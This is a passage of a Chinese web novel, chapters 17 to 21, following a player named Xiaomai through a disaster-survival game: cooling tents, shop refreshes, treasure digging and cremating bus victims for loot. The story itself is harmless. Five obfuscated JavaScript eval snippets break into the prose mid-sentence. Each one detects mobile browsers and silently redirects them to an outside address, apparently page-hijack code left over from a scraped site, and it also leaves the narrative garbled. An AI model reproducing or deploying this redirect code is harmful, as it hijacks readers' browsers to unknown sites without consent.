帐篷有二十、三十平方米大,从顶部看是个伞面形状的圆,外部花色和所在的荒野地一模一样,就是无人机也不一定能发现地上多了一个帐篷。 17.第 17 章 小麦小心揭开帐篷的自粘门帘,厚重帘门好似一层软胶,摸上去滑溜溜冰凉凉,清凉的风从帐篷里吹出来! 巨大的温差让小麦不由自主打了个喷嚏。有空调冷风的感觉实在太好了! 帐篷内部不仅有尖顶,还有底,软胶地面和门帘是同一材质,赤脚踩上去清凉又舒服。 不愧是价值5金钱的帐篷,里面竟然不光有冷风空调,还有用于换气的新风系统,狭小的空间也有清新的空气! 顶棚顶部的空调兼新风机的样子十分古怪,是个半米见方的轻薄黑盒子,液晶显示屏上的电量显示还能使用六个小时。 六个小时后显然没法充电,帐篷可以长久存在,但冷风机是实打实的次抛消耗品,但对现在的小麦而言实在太必要了! 帐篷里面除了这个能吹冷风的黑盒子,再无其它。 小麦有存款就舍得花,不仅要享受次抛的功能帐篷,还购买了夏日清凉套餐。 价值1金钱的套餐不是铜钱食物可以比拟的。从商品图片来看,图片里有一舒展开的木质躺椅,躺椅旁边摆了一个和躺椅差不多长的矮桌。 矮桌上有打开孔放置了吸管的青椰、有沁着水珠的高脚玻璃杯,蓝颜色,杯子里装的是鲜榨西瓜汁。 一溜摆开的碗盘里有切开的椰子饭、猪脚饭、椰子鸡、香草鸭、斑斓椰丝包、牛肉肠粉、凉拌酸木瓜、酱爆虾饼。 小麦购置套餐后,出现在帐篷里的不仅有食物,还有图片里附带的躺椅和长桌,与图片中的家具等比例复刻。 摆好的家具甚至无须再挪动,她舒服躺下,伸手就能够到长条桌上的食物。 呷一口椰汁,叉一块酸木瓜,再夹一块椰汁炖的鸡肉,不过半小时,一桌双人份量的套餐被一扫而空。 运动让人饭量渐涨…… 小麦有点心虚得摸了摸小肚子,又回忆了下最近两天的运动量,自信放下肚子上的手。 不吃饱,哪走力气去长途跋涉嘛。 所有的饭菜扫空,也确定了无论吃哪种食物,一桌套餐仅给10历练值。如果把历练值当做额外的收获,倒也能接受…… 吃饭不免食困,小躺椅轻轻晃动,小麦闭目思索,有了夏日套餐,就有了用来休息的家具,商城里的藤椅就可以省掉了。 商城里的冰柜也不必考虑,里面全是冷饮,与小麦的“养生”饮食相悖,更何况一冰柜冷饮少说有几十瓶,更适合买来养大型团队,不适合她这种寡王。 再说,能用几铜钱解决的冷饮问题,没必要浪费金钱,万一里面的饮料同套餐一样都是2小时限定产品,那就大亏特亏了! 剩下的商品里,越野车用不上,遍地裂痕的土地跑不了越野车,遇上大裂缝,整个车轱辘都能陷下去。 唐刀也没什么用,她不是战斗系,没受过专业的训练,这种大型武器拿来冲样子吓唬人还行,真用起来,更有可能会先伤到自己,倒不如花钱币复活实在又省心。 她只是个休闲玩家,没那么重的胜负欲,能花钱复活也没打算去挑战高难度。 迷迷糊糊中睡着,一觉睡到夜幕低垂,小麦是被热醒的。 腕表显示现在是22:56,掀开帐篷门帘,月色很好,荒野里能看到高速公路的轮廓。 帐篷里的空调早已经停止工作,热度不断积蓄,密闭空间不仅闷热,还空气浑浊,室外反倒凉爽许多。 日夜颠倒让小麦有点头晕脑胀,好在很快适应过来,她打算放弃帐篷,继续前行。 比较为难的是这个帐篷要不要保留下来。 从好的方面考虑,留下帐篷有可能可以救助到别的人,但明显是高科技的空调很可能会暴露小麦的存在。 只要想一想,帐篷暴露的时候,她可能已经走出了几十公里,临门一脚却要因为暴露复活,她心底那点想要兼济天下的念头就被击得粉碎。 一个不想沽名钓誉的人又怎么会被道德绑架?小麦果断让小精灵回收了帐篷和里面的家具。 荒野恢复原来的样子,仿佛帐篷从来没有存在过,她坐在卡车顺来的坐垫上,感觉到有小蚊子不停往身上扑,好在衣服遮挡的部位没被咬透。 热气腾腾的活人格外招蚊虫的样子。 清凉套装并不能真的恒温,但穿起来比一般材质透气,衣服也不会黏哒哒沾在身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320642|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,汗水在衣服外侧汇聚成珠,滑落衣料,尽数滴在地上。 睡眠清空了肠胃,她需要饱餐一顿才有力气启程。 现有的金钱商品不足以解决夜宵问题,她确定般看了一眼,果断选择使用铜钱刷新。 她现在胃口好,特别想吃点高热量的食物,最好是汉堡炸鸡之类的东西,而这些食物最有可能出现在铜钱商城。 而在吃饭之前,她需要足够的矿泉水洗个清爽的战斗澡,最好能一口气凑个二、三十瓶水,才能洗得舒服。 正好,小麦也需要更多测试游戏商城的机会。 铜钱飞速刷新,小麦这次的目标是短时间内刷新30次铜钱商城,期间只购买自己的需求物品。 很快,小麦就集齐了29瓶矿泉水、一个香辣鸡腿汗堡、一个藤椒鸡腿汉堡、一纸杯八宝粥,共计花费935铜币。 这次的试玩很有成效。 30次刷新里,矿泉水出现了21次,是出现概率最大的饮品,冰可乐出现了15次,是出现概率第二大的饮品。 而在30次刷新里,汉堡也出现了五次,算是出现概率比较高的食物,但目前仅出现两个口味,出现概率比较高的食物还有馒头、烧饼、包子,这三种食物的口味就比较多了。 铜钱可购置的衣服仅出现了一次,算是概率比较低的产品。 小麦发现,一旦她短时间内快速刷新多次,物品重复出现的概率就会提升,像矿泉水一类的生存必须物资更是会飙升出场机会。 好在新品依旧会零星出现,单是包子的不同分支就够她攒很多历练值了。 她很有技巧的用汉堡的包装纸隔离飞虫,快速吃完两个汉堡,又用水捂住杯盖,几口解决掉温热的甜粥,最后才拿水仔细冲洗。 新衣服的材质很神奇,吸水性很强,却又不会让水留存在衣料,不管出多少汗,衣服都能很快变清爽,衣料还能保持柔软,简直是穿着衣服洗澡的最佳选择。 29瓶矿泉水用完,小麦只有头发还湿乎乎的,纳米衣服充作毛巾也很好用,发梢只是湿润并不会滴水珠。 不愧是金钱商城!这套衣服可算买值了! 18.第 18 章 吃饱喝足,正式启程。 高速公路所在的隆起坡度很陡,本就有阻隔行人的作用,地裂后地形更复杂,往下好走,往上就需要额外的技巧。 小麦手脚并用也不太好爬,还是把铲子从随身空间取出辅助,才顺利回到高速公路。 这里距离收费点和服务区都比较远,车辆没有那么密集,但因为是旅游区,乡村又有工厂,道上的车辆陆陆续续没有断绝。 小麦往前走了一会儿,便遇到了一辆翻倒的大巴车。 这辆车的运气大概率不太会,可能在行驶途中遇到地裂,整个车头掉进几米深的裂缝,车上的玻璃碎成蜘蛛网,车门碰撞得扭曲变形无法打开,乘客也大半化为石雕般的尸体。 长长的大巴车如积木般竖在深坑里,车尾的一个车窗与地面齐平,车玻璃被完全敲碎,大概有幸存者敲开车窗逃出生天。 留在车厢里的亡者就没有这样的运气与体力了。 小麦探头衡量了一下,她倒是能跳进车窗,却没把握单凭臂力爬到竖起的车尾,一路上能借力的只有七零八落的座椅。 高速路上没有土,还怎么做敛骨人!? 小精灵给出答案,除了土埋,还能火葬。不同于零成本的铲土掩埋,只要1金钱,游戏就能提供安全无忧的火葬服务。 1金钱换200铜钱,绝对是个亏本买卖。 但1金钱换个有可能开出大奖的盲盒,似乎值得人期待了…… 更何况火葬服务按次收费,指定大巴车开启火葬服务,小麦能一次性收获好几个盲盒…… 干了! 心疼得支付1金钱,竖立的大巴车被白雾笼罩,继而涌出幽蓝色火焰。 白雾消失的时候,土坑里的大巴车也消失了,小麦手边多了十几个黑色塑料袋。 夜色是最好的掩护,装载着夜视功能的无人机很少在荒野地区浪费时间。 小麦查看塑料袋,就如同拆解一个个未知且值得期待的盲盒。 一串铜钱。 一串铜钱。 …… 22个盲盒,小麦拆解出20串铜钱、1串银钱、一块人契。 大奖竟然是真的存在的!? 小麦按耐住了立即试用人契的冲动,把所有东西收进空间,继续赶路。 高速公路被裂缝拦腰截断,中间的缝隙能容得下一辆中型大巴车,裂缝究竟多深也看不清楚,小麦跳不过这么深的沟,只能下高速绕远路。 好在这样的深沟并不多。一句走走停停,一口气走到凌晨三点半,小麦的双腿累得实在挪不动了。 牛马的时间长了,完全没有余力锻炼身体,小麦的身体就是这样的废柴,所以她有自知之明,在指定计划的时候就给自己留足了时间。 这是一天里最凉快的时候,在硬化过的道路中央也能感受到清风拂面。 小麦就地坐下,不怎么熟练得按摩着双腿,感觉自己越来越埋汰,过往的洁癖都在艰苦的环境中不药而愈。 走了那么长时间,又是徒步,又是爬坡,她好像又饿了。 询问过小精灵,确定数据化的身体不会因为进食而巨变,她潇洒决定再吃一顿! 游戏商城在零点自然刷新,刷新出来的九件商品为: 一个排骨肉蒸包,售价45铜钱;一个照烧鸡肉烧饼,售价35铜钱;一碗红烧牛肉米粉,售价160铜钱;一纸杯小米粥,售价18铜钱;一瓶矿泉水,售价20铜钱;一杯冰可乐,售价70铜钱;一个土豆卷饼,售价50铜钱;一杯热豆浆,售价25铜钱,一个烤鸡腿,售价180铜钱。 小麦莫名觉得,零点刷新的商城才是运势最好的商城,这次大多都是她没吃过的新品。 凉快的时候就想念一口热乎的食物,小麦买了一碗牛肉粉,一杯热豆浆。 豆浆是中号纸杯,牛肉粉装在油纸碗,表面铺了六块指甲盖大小的红烧牛肉粒,米粉的口感尚可,汤底的骨汤很美味。 两份食物下肚,实在吃不下更多。距离天亮还有一段时间,小麦决定拿探索车辆消磨时光,等到天蒙蒙亮再去挖宝,以防错踏地坑。 高速公路上的空车很多,只要小麦愿意慢下来,有的是车辆供她探险。 自动化的小轿车大多在关闭车门后自动上锁,小麦一路摸过去,大多数时间只能贴在车窗上过过眼瘾,小轿车的机动性比较强,连敛骨人的职业技能都无用武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328225|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之地。 就这样又走了一段路,才摸到一辆货运卡车。 卡车的车厢紧锁,不清楚车厢里有什么货物,倒是驾驶室的车门已经被推开。 驾驶室被扫荡得很干净,连个空瓶子都没有,不知道是车主走得从容,还是驾驶室被洗劫过多轮。 车厢里有长年累月熏出来的烟草味,小麦也顾不上嫌弃,累瘫了般躺下,在复杂的气味中观赏着天上的星星。 之前睡了太长时间,翻来覆去睡不着了,躺上半个小时,背部热得仿佛有个小火炉。 小麦烦躁坐起,决定继续探索车辆,说不定能有什么意外收获呢? 往前又摸索了一段路程,小麦发现了一辆没有摇上车窗的小汽车。车窗留了足够的空间,只要探进车厢就能从内部打开车门。 简简单单打开车门,小麦闻到一股微妙的臭味,也不知道是什么食物在车里腐败了,就算开着车窗,车里的气味也让人难以忍耐。 怪不得这辆车没人探索!若不是小麦闲极无聊。她也会直接走开…… 先搜索前座的储物格,好多人会把驾驶证放在这个位置。不过这辆车里没发现驾驶证,她找到一副墨镜、一套备用钥匙。 墨镜用不上,钥匙可以更方便的打开车门和后备箱。 前排驾驶座中间放着一个透明保温杯,里面的茶水已经长毛,后座有一塑料袋零食,里面装了一提六瓶可乐,几袋膨化零食。 有点奇怪,车里的食物竟然没有被带走,车主不会已经遇难了吧?还是说,车主有更好的选择? 后座的物资密封的挺好,不能浪费,不限时的食物资源,也是副本结算的得分点之一。 小麦不客气的收了,这些东西加在一起很沉,还是送进随空间,减轻自己的压力吧。 搜索完车厢,小麦用备用钥匙打开后车厢。难闻的臭味弥散开来。 看纸箱的标示,鸡蛋和海鲜已经臭了,臭味堪比生化武器。 小麦差点被臭气熏倒,眼疾手快盖上后车盖,隔绝开臭气攻击。 是她大意了,探索前座时,只闻到臭味,没有发现问题所在,还以为是自己发酵了,没想到是后备箱的食物的功劳。 19.第 19 章 小汽车的主人不知生死,说不定还会回来,总不好让人家白丢一辆车。 小麦离开前,把备用钥匙放回储物格原位,车窗停在初见的高度,方便车主回来也能拿到钥匙,果断远离了臭气源。 意外收获一袋食物,小麦挺知足,又在高速路上磨蹭一会儿,天边泛起鱼肚白。 视野变好,远山的轮廓清晰可见,她便准备使用一个寻宝罗盘。 说到底,要想集齐结算星辰,还是得靠寻宝! 从随身洞府取出10银购置的铁铲,把拆开的铲子和木杆重新安好,小麦使用罗盘。 金色宝铲浮现,即使在白天也清晰可见,目标滴距离小麦所在的位置并不远,只需要翻过前头的一个小山坡。 看高速公路的走向和山坡所在的位置,寻宝地点正好在前进的方向,挖完宝藏后无须再折返。 虽然寻宝地有点偏离高速公路,但看距离,半天时间就足够解决所有问题。 小麦准备翻越眼前的小山丘,毕竟,两点之间,直线距离最短嘛。 爬坡明显更累,更不好走,对小麦这样的运动废柴来说,有个趁手的辅助工具很重要。 挖宝的铁铲正好能当拐棍用,她干劲儿满满滑下高速公路,翻越几条浅沟,登上土丘,俯瞰周边。 前方的丘陵比土丘要高,没法看到丘陵外的情况,从高速公路的走向和山丘的地貌来看,她没有走错路,此处距离顺安基地还有六十多公里路程。 目的地留在土丘的另一侧,一个坍塌的土屋下方。 山丘与高速公路间有大量空置的土地,大概率是用来轮耕的农田,地里有休整过的痕迹,但没有种东西。 小麦很快走到坍塌的屋舍前,土墙已经塌的差不多,整块的彩钢瓦铺在坍塌的建筑残骸上。 小麦费了点力气推开薄薄的彩钢瓦,很高兴没有看到任何尸体。 坍塌的土屋里没有生活的痕迹,只有些陈旧的农具。 小麦猜测,这里是附近居民承包的山地,而这个小屋就是npc用来存放干活工具的,应该只有农忙的时候才会用到,所以屋子里没有生活用品,也没储备食物。 耐着性子等头顶的无人机全部飞远,小麦才开始自己的挖掘工作。 在游戏的运用力下,铁铲几乎带着人动,无视地上的建筑残骸,轻松挖穿堆叠的土墙,在硬化的地基里挖出一个规整土坑。 熟悉的白雾弥漫,宝箱浮现。 虽然已经是第二次挖出宝箱,小麦还是难以抑制激动的心情。 挖宝唉,怎么能不让人期待? 【消耗寻宝罗盘*1,寻宝成功。】 【寻宝收获期间,开启短暂视野保护。】 【恭喜玩家寻宝成功,获得历练值*10。】 【寻宝触发轻松级随机事件,请寻宝人选择您的故事路线。】 【路线1,获得宝箱奖励。】 【路线2,花费10银钱,购置一个物资补充包,免费发放给受灾地区,玩家可获得特殊奖励。】 轻松级别的随机事件只有两条路线可以选择,第一条路依旧可以免费省下钱币。 但游戏都明示有特殊奖励了,小麦当然要花这笔钱。 账户里的银钱减10,木箱打开,小麦先找星星玩偶,果然收获一个同等大小的金色星星,这一次,星星的另一面写着【天灾无情人有情】。 这是小麦收获的第二个结算星辰,依旧没有什么特殊说明。显眼的星星玩偶似乎只有结算的用途? 不知道结算星辰的背面的文字,对结算奖励有没有影响? 不过,轻松级随机事件竟然也给结算星辰,貌似得到的很轻松呢?这该不会是个劝人向善的游戏吧? 不过,似乎也能理解呢,劝人向恶的游戏,怕是也没法通过审核,上市发行。 收起玩偶,宝箱里便只剩下1000铜钱、一瓶矿泉水、一包压缩饼干。 好寒酸的奖励,要不是还有结算星辰,轻松事件奖励的宝箱简直是血亏。 果然风险与收益成正比吗? 不过游戏越到后期,没吃过的食物越少,说不定寻宝罗盘会被迫成为刷历练值的主力呢。 小麦也算是玩游戏的老手了,对这些套路都有心理准备。 挖宝结束,新得的食物扔进空间,短暂的遮掩散去,地面恢复成一个土坑,就算有无人机路过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336762|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只是幸存者在发疯挖地罢了。 不过铺在地上的彩钢瓦明显抬高一节。小麦看到了彩钢瓦下整齐的大纸箱,纸箱上有不同的彩绘,看图案应当是密封的饮用水和压缩饼干。 这种物资只能被称作生命维持餐,小麦完全没有兴趣,既然说好了要免费留给受灾地区,她就不会动,这点利息还不足以摧毁她的诚信! 接下来要继续赶路,随着太阳升空,天气热了起来,走不一会儿就汗流浃背,小麦抓紧时间返回高速公路。 她顺着土坡向下,土坡和公路之间的土地上种有稀疏的橘子树。 尚未成熟的青橘掉在地上,大多腐烂成果泥,招惹来采食的虫蚁。 果球这一季的收成,因为天灾而化作大自然的肥料,尚未长成就跌落的果实,看着便让人惋惜。 小麦只能尽量不去看。 她脚步匆匆,路过一株快要有人高的野草时,不小心触碰到蒲扇大的绿叶,许久未有动静的星域频道突然诈尸,惊得她停住脚步。 【星域频道:[匿名](外星系)求购[野生甜白菜整株]*1,收购价格10金钱。】 原来外星系还会特意标注吗?那之前求购野菜的应当就是相同星系了? 小麦所在的现世科技已然很发达,她并未听闻所在的星系有外星人,难道是游戏世界的平行空间? 星系什么的,显然不是她现在能想明白的,小麦好奇打量有她肩膀高的绿色植物。 “看叶子好像真的是白菜?我还没见过这么大的白菜呢。” “底部的叶子边缘泛黄,估计是老了,叶子撕开的气味,和我吃过的白菜一样啊。” “这白菜好像结种了,种荚还有涨开的缝隙,种子怕是即将成熟。” “带种的植物啊,10金卖给外星系,总觉得有点亏……” 小精灵并不会回答小麦的自言自语,小麦试了几个关键词,都未能试出更多讯息。 她觉得这单生意让人纠结,卖一棵白菜得10金钱血赚,但卖给外星系种子又好似一锤子买卖,多少让人有点不甘心。 纠结了几分钟,星域频道的订单一直处于未完成状态,小麦决定赌一把。 20.第 20 章 切下来的种子扔进地里,小麦用铁铲刨出白菜根,小心扫掉根系上的土壤,不让外星系的买家多占一点便宜。 试着【点击】星域频道里的字,手头的白菜整株消失,星域频道里的讯息变成灰色,账户里多了10金钱。 竟然真的成功了? 简单快捷到不可思议! 这就是更为高科技的快递吗?仿佛直接开启了空间传送…… 小麦很满意星域频道的交易效率。能轻松赚到10金钱更是意外之喜,只可惜星域频道的交易不增加历练值。 土里的种子都还在,小麦顺手给种子覆盖了一铲土,能不能发芽就看天意了。 顺利赚到钱,连掺杂着尘土的空气都清新许多。 现在是早上09:07,白天的工作似乎已经可以告一段落。 游戏生涯果然很堕落呢。若是做游戏任务算是工作的话,她现在一天的工作时间不会超过6小时,对比一下牛马时期的劳碌生涯,真的好快乐啊! 白天的休息地的选择是个问题,能不能安逸睡觉,取决于她能不能刷新出合适的商品。 腐烂的果子太味儿了,她选择到高速路上刷新商城。 肚子不饿,暂且不需要购置食物,小麦很想见识一下宝石商城,只有每个商城都见识一番,她才能更好得安排资金的投入。 宝钱毕竟是贵重货币,总会有游戏的特殊逼氪点,她的心里预期是刷新三次宝钱,若是三次都刷新不出用于休息的空间,她就改用金钱猛刷。 毕竟金钱还有机会从星域频道获取,而宝钱的获取渠道相对比较少。 至于省点钱克服一下艰苦的环境? 那是不可能的! 明天还不知道是什么光景,她可要好好享受生活!而不是单纯活着! 宝钱商城是小麦目前唯一没有刷新过的,用现世币换算一下,1金钱相当于10万现世币,1宝钱几乎相当于1亿现世币了,用游戏币时不会有太多感觉,换算成现世币,感觉就很恐怖了。 她牛马一辈子也攒不到一亿现世币啊!而现在却要花一亿现世币来刷新货柜!这里面能刷新出什么,还真是值得人期待! 小麦深吸一口气,选择1宝石钱刷新。 游戏商城里闪过非常炫目的七彩流光,流光散尽,显示出九宫格样式的九件商品,分别为: 一个肩抗式火箭炮,售价99宝钱;一架小型直升飞机,售价999宝钱;一艘小型游艇,售价99宝钱;一辆豪华房车,售价1宝钱;一管万能治愈药剂,售价1宝钱;一辆豪华八驾马车,售价1宝钱;一包遥控炸药,售价99宝钱;一挺机关枪,售价99宝钱,一套高奢晚礼服,售价1宝钱。 小麦扼腕,她竟然不会开飞机,若是会开飞机,买下那架小型直升机,区区六十公里,半小时内就能完成试玩资料片…… 不过,开飞机这种技能也没有那么普及,所以小麦也只遗憾了那么一会儿。就算人生重来一次,她也不一定能学会开飞机,所以与其沉溺于遗憾,倒不如想开就好, 不过,原来休闲娱乐方向也有大规模杀伤性武器,只不过都在宝级商城里。 说到底,这些大规模杀伤性武器并非通关的必需品,而是能帮助玩家更快通关,或者让玩家可以肆意人生,让心情更爽, 小麦目前并不想花宝钱买这样的情绪价值。如果宝级商城里都是这类物品,小麦觉得,她用到宝级商城的概率不高。 该做的试验还是要做,小麦继续刷新。七彩流光闪过,出现的九样商品为: 一辆装甲输送车,售价99宝钱;一架小型直升飞机,售价999宝钱;一艘小型渔船,售价1宝钱;一辆重型坦克,售价99宝钱;一管万能治愈药剂,售价1宝钱;一辆六驾驴车,售价1宝钱;一颗手雷,售价99宝钱;一把袖弩,售价1点宝钱,一套缂丝女装,售价1宝钱。 袖弩看起来很实用,但9宝石只配备有三支小箭。小麦宁愿选择复活,于是再次果断刷新,商品变更为: 一挺重机关枪,售价99宝钱;一架小型直升飞机,售价999宝钱;一架遥控无人机,售价99宝钱;一辆大巴车,售价1宝钱;一管万能治愈药剂,售价1宝钱;一辆双鹿雪橇车,售价1宝钱;一个防毒面具,售价9宝钱;一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343359|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒消炎药,售价1宝钱,一棵挂果红苹果树,售价9宝钱。 小麦用力【看】向那棵苹果树,绿色树冠里隐约可见红艳果实。 【一棵挂果红苹果树:领地限定道具,仅可在玩家领地内购买使用,占地2*2格子,购买前请确定领地内有足够空间。】 【一棵挂果红苹果树可收获九颗红苹果,所有苹果摘取后可收获一截枯木。】 果然!游戏的逼氪项目虽迟但到!领地限定家具!摘完果子枯萎的一次性消耗道具!不会仅有【宝钱购买】这一个途径吧!? 疯狂试探关键词,确定了领地道具无法提前购买保存,只能身处领地内才能购买,小麦只能放弃这棵苹果树。 往好处想,为了搜刮玩家手里的宝钱,说不定果树很容易刷新出来呢? 她已经能想象到,日后要如何为了建设领地苦哈哈攒钱,如何爆肝做任务了! 她想得愁眉苦脸,然而想到这棵果树能让她亲手摘下苹果,苹果还成熟到直接可以吃,未来似乎可以预期的美妙,甚至比在现世里远程承包个果树还有体验感,一切似乎又值得被原谅了。 幸好购买果树需要的是9宝石钱,而不是9亿现世币,多刷刷任务总有希望搞到手。 小麦比较意外的是直升机和药剂出现了三次。可能是受到话本一的影响?直升机可以快速通关话本?而药剂可以解除死亡外的负面状态。 如果在领地内刷新宝级商城,或许会刷新出更多领地专属道具? 三次宝钱刷新未能刷新出合适的休息道具,接下来只能转战金钱刷新,宝钱刷新过接档金钱刷新,不知道能不能间接影响升级金钱商城的品质? 金光闪过,九样商品闪现。 一个黄花梨罗汉榻,售价1金钱;一个冰山清凉帐篷,售价1金钱;一个大型太湖奇石,售价1金钱;一个断电的雪糕冰柜,售价1金钱;一双蜀锦鞋,售价1金钱;一辆小型房车,售价100金钱;一辆汽油小轿车,售价100金钱;一辆越野摩托车,售价60金钱,一辆小型挖掘机,售价100金钱。 东西不错,可惜大半都用不上…… 21.第 21 章 小麦购置了价值1金币的帐篷。 从商品图片来看,帐篷是很普通的迷彩帆布帐篷,帐篷实际落地后,比小麦预想中的要大很多,里面的空间至少能容纳十几个人聚餐。 幸好这段高速公路上的车不多,大帐篷才能完全铺开。 这次的帐篷从顶部俯瞰是个长方形,帐篷门和三个方向的窗户都是透气不透人的多层纱网。 小麦走到自粘的纱网门附近,就感受到了从里面透出来的清凉的风,这股风和空调的凉气不同,带着水润润、沉甸甸的湿气。 走进帐篷,惊觉冰山帐篷物如其名,帐篷里真的有两座比人还高、比人还厚重的冰山。 这次的帐篷有纱网门、窗透气通风,内里的底部更像是那种儿童游乐城里常见的蓝色充气游泳池,深蓝色游泳池呈长方形,两侧是一体成型的大型造型冰山,两座冰山中央横亘着一条加高加宽的气垫走廊。 帐篷的可活动区域就在这条走廊里。 走廊上摆了一个可移动的浅蓝色的充气沙发,看沙发的大小,也能当做单人床使用。 冰凉雾气从高透冰块表层散逸。浓郁白雾汇聚成湿漉漉的水汽。因为帐篷还刚刚展开,脚下的泳池还没有积蓄水分。 这样大的冰还特意做成了假山的模样,也不知道是怎样冻成型,在如此热的天气里,或许因为有帐篷布料阻隔,冰山融化极为缓慢。 两座大冰山能支撑很久的样子,小麦可以安心休息。 冰山帐篷堪比空调屋,门窗透气透风,室内的空气也格外新鲜,小麦套上一身备用的长袖衣服,这才舒服躺倒,不一会儿就呼呼大睡。 舒适的温度带来高质量的睡眠。 她从上午一直睡到下午五点多,醒来时太阳还没有下山,虽然已经不见正午的热辣,推开门依旧有热浪扑面,而帐篷里的冰山才化了三分之二。 融化的这么慢,这两座冰山多少也有点高科技吧? 融化的冰水蓄在充气泳池里,入手冰凉透骨,堪比冰箱冷藏区的温度,小麦打消了用此沐浴的想法。 不过水池里的水拿来清洗纳米衣服也不错。这两天出了太多汗,衣服上都有干燥后的盐碱结晶了,虽说特殊环境里也能忍,可到底影响了衣料的透气效果。 小麦把衣服在泳池里涮上几圈,然后拎出来用力甩几个圈,衣料上的水渍便尽数被甩出,摸上去仅留一点水润冰凉的潮感,再拿到外面吹一遍热风,衣服便彻底干透。 洗干净衣服,又花了761铜钱买了36瓶矿泉水,痛痛快快洗了个澡,小麦这才换上干透的衣服。 赤脚踩在充气走廊,小麦觉得脚心有点冰,她迫切需要一双新鞋,现在唯一不清爽的就是汗透的鞋。 她终究不是没有味道的小仙女,换下来的鞋子不好清洗,只想扔掉,所以接下来只能试着刷新游戏商城,看看能不能刷新出一双好爽又舒服的鞋。 从前面的经验来看,最有几率刷新出新鞋子的是银钱商城。因为银钱商城看起来最特别,能刷新出铜钱商品和银钱商品,其它钱币刷新都只能刷新出单一物价的商品。 或许是小麦的运气好,只刷新了不过五次,还真让刷新出一双纯白网面厚底运动鞋,价值30银钱。 运动鞋的隔壁就是一双白色纯棉运动袜,价值3银钱。 小麦买下鞋袜换上,感觉从头到脚都焕然一新,仿佛褪去了十斤泥壳,全身的毛孔都再一次敞开呼吸。 果然,人生不过衣食住行,解决完一身行头,就该祭祭五脏庙。她睡了这么长时间,肚子里的东西早就消化一空。 铜钱商城多是一些现世外卖平台里常见的快餐,很像价格低廉、热量充足、品控稳定的保底食物,小麦刚睡醒,并不想吃碳水炸弹。 不管从生活质量来说,还是从收集历练值的角度来看,她以后的生活重心大概率会是银钱商城。 银钱商城虽然有很大概率刷出铜钱商品,但新食物出现的概率更高,银钱食物看起来更为精致美味!毕竟,美丽的食物单是看看就觉得好吃! 小麦舒服躺在凉回去的充气沙发,看向商城。买完鞋袜,商城剩余七件商品分别为: 一个流沙奶黄包,售价28铜钱;一串香辣烤面筋,售价58铜钱;一盒紫菜包饭,售价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349709|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 130铜钱;一瓶矿泉水,售价15铜钱;一瓶矿泉水,售价20铜钱;一个土豆泥鸡蛋三明治,售价79铜钱;一个糯米烤鸭酥,售价3银钱。 最后一个商品糯米烤鸭酥,看起来非常有趣,烤制金黄的面团捏成了Q版鸭子形状。 面团鸭子憨态可掬,圆圆的脑袋上点缀了两粒黑芝麻充作眼睛,从芝麻的大小反推,这个价值3银钱的点心并不会太大。 小麦喜欢色香味俱全的吃食,她愿意为了美食买单,也就愿意花相当300现世币的游戏币来买这个小点心。 银钱支付,垫着迷你圆形油纸的小鸭子出现在她掌心。 点心果然不大,仅有一枚柴鸡蛋大小,鸭子的框架是烤制金黄泛着油光的塑形面饼,唯有背部开背涨开,露出撒了雪白糖粒的真烤鸭皮。 点心入手时尚烫手,若没有加厚的油纸,烫到根本拿不住。也因为烫,小麦面粉和烤鸭的香气很快弥漫开来。 小麦小心翼翼吹了一会儿,这才一口咬掉圆滚滚的鸭子脑袋。 